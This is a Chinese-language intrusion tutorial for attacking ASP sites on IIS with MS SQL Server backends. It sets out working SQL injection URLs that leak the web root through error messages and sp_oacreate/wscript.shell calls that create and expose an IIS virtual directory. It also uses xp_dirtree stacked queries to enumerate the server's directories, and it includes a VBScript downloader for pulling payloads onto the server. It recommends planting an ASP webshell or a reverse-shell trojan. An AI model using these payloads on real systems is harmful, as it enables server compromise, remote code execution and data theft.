IIS的默認路徑的在注冊表中HKEY_LOCAL_MacHINE\ SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\
利用爆字段將數據庫的值讀出來:
語句:http://www.xxx.com/list.ASP?classid=1 and 0<>(select top 1 paths from newtable)--返回: Microsoft OLE DB Provider for
ODBC Drivers 錯誤 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server]將 varchar 值 E:\www,,201 轉換為數據類型為 int 的
列時發生語法錯誤。
這說明網頁目錄在E:\www,接下來也可以利用FSO直接寫入ASP木馬
如果得不到網頁目錄,怎麼辦呢?前提你要猜到網站是否使用默認WEB,或者使用域名作為WEB。
declare @o int exec sp_oacreate wscript.shell , @o out exec sp_oamethod @o, run , NULL,’ cscript.exe c:
\inetpub\wwwroot\mkwebdir.vbs -w "默認 Web 站點" -v "e","e:\"’
在默認的WEB站點下創建一個虛擬目錄E,指向E:盤下。
declare @o int exec sp_oacreate wscript.shell , @o out exec sp_oamethod @o, run , NULL,’ cscript.exe c:
\inetpub\wwwroot\chAccess.vbs -a w3svc/1/ROOT/e browse’
給虛擬目錄e加上浏覽屬性不錯吧。給自己開虛擬服務。想那些網頁目錄路徑,頭都快破了。這下給自己一個天開眼了。那傳WEBSHELL利用MS
SQL為我們的工作告了一段落了,接下來工作應該由你來了。
哈哈,方法不錯喲,通過注冊表來讀,方便快捷!
優缺點分析:
優點當然是方便快捷了。缺點是只能察看默認的IIS站點的路徑,如果不再默認的站點那就無能為力了(我用regsnape跟蹤過),如果在2003下
那就是連默認的站點路徑也不顯示了!痛苦中
順便說兩句,
實際上除了找網站路徑的方法外,還是有別的方法來繼續入侵的,比如說通過tFTP來上傳反彈木馬,或者是通過寫一個iget.vbs來下載你想要的東東
iget.vbs代碼如下:
---------start----------
Set xPost = createObject("Microsoft.XMLHTTP")
xPost.Open "GET",LCase(WScript.Arguments(0)),0
xPost.Send()
Set sGet = createObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile LCase(WScript.Arguments(1)),2
----------end-----------
對此文的在補充
近日發現對毛主席大人的指示理解不夠深刻,特在此表示補充
實際上上面的各種方法根本就不需要比較了xp_dirtree是最好的,只要這一種方法就夠了
只是因為我當初太..............
今日將xp_dirtree的秘密再挖一下
好,我們exec master..xp_dirtree’d:/test’
假設我們在test裡有兩個文件夾test1和test2在test1裡又有test3
結果顯示
subdirectory depth
test1 1
test3 2
test2 1
哈哈發現沒有那個depth就是目錄的級數
ok了,知道怎麼辦了吧
http://www.xxxxx.com/down/list.ASP?id=1;create table dirs(paths varchar(1000),id int)--
http://www.xxxxx.com/down/list.ASP?id=1;insert dirs exec master.dbo.xp_dirtree ’d:\’ --
http://www.xxxxx.com/down/list.ASP?id=1 and 0<>(select top 1 paths from dirs where id=1)-
只要加上id=1,就是第一級目錄 。